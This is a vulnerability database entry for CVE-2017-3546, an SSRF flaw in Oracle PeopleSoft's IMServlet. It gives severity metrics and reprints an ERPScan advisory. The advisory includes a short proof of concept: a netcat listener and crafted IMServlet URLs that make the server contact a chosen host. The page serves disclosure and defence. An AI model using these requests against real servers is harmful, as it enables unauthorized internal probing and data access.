CVE-2017-3546 Detail

CVE-2017-3546

Score / Severity

6.5

Medium

CVE Descriptions

Vulnerability in the PeopleSoft Enterprise PeopleTools component of Oracle PeopleSoft Products (subcomponent: MultiChannel Framework). Supported versions that are affected are 8.54 and 8.55. Easily "exploitable" vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.0 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-918	Server-Side Request Forgery (SSRF) The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	6.5	MEDIUM	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. Low There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Low Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	6.4		AV:N/AC:L/Au:N/C:P/I:P/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 42034

Publication date : 2017-05-18 22h00 +00:00
Author : ERPScan
EDB Verified : No

Application: Oracle PeopleSoft Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55; PeopleSoft HCM 9.2 Vendor URL: http://oracle.com Bugs: SSRF Reported: 23.12.2016 Vendor response: 24.12.2016 Date of Public Advisory: 18.04.2017 Reference: Oracle CPU April 2017 Author: Roman Shalymov (ERPScan) Description 1. ADVISORY INFORMATION Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet Advisory ID: [ERPSCAN-17-022] Risk: high CVE: CVE-2017-3546 Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/ Date published: 18.04.2017 Vendors contacted: Oracle 2. VULNERABILITY INFORMATION Class: SSRF Impact: cross-site port attack, service enumeration Remotely Exploitable: yes Locally Exploitable: yes CVSS Information CVSS Base Score v3: 8.0 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) High (H) PR : Privileges Required (Level of privileges needed to exploit) High (H) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Changed (C) C : Impact to Confidentiality High (H) I : Impact to Integrity High (H) A : Impact to Availability High (H) 3. VULNERABILITY DESCRIPTION An attacker can force a vulnerable server to trigger malicious requests to third-party servers or to internal resources. This vulnerability can then be leveraged to launch specific attacks such as a cross-site port attack, service enumeration, and various other attacks. 4. VULNERABLE PACKAGES ToolsRelease: 8.55.03 ToolsReleaseDB: 8.55 PeopleSoft HCM 9.2 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, implement Oracle CPU April 2017 6. AUTHOR Roman Shalymov 7. TECHNICAL DESCRIPTION PoC Run netcat 1. nc -l -p # on some host In browser open the following links http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23" Read response in netcat GET /?param=var HTTP/1.1 User-Agent: Java1.7.0_95 Host: SOMEHOST:OPEN_PORT Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive 8. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies. ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches. ERPScan experts were interviewed in specialized info-sec resources and featured in major media worldwide. Among them there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc. Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research. 9. ABOUT ERPScan ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP Solution providers” and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScan’s primary mission is to close the gap between technical and business security, and provide solutions for CISO's to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale. We ‘follow the sun’ and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe.

Products Mentioned

Configuraton 0

Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.54

Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.54 (Open CPE detail)

Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.55

Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.55 (Open CPE detail)

References

https://erpscan.io/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
Tags : x_refsource_MISC

http://www.securityfocus.com/bid/97872
Tags : vdb-entry, x_refsource_BID

http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
Tags : x_refsource_CONFIRM

http://www.securitytracker.com/id/1038301
Tags : vdb-entry, x_refsource_SECTRACK

https://www.exploit-db.com/exploits/42034/
Tags : exploit, x_refsource_EXPLOIT-DB

CVE-2017-3546 : Detail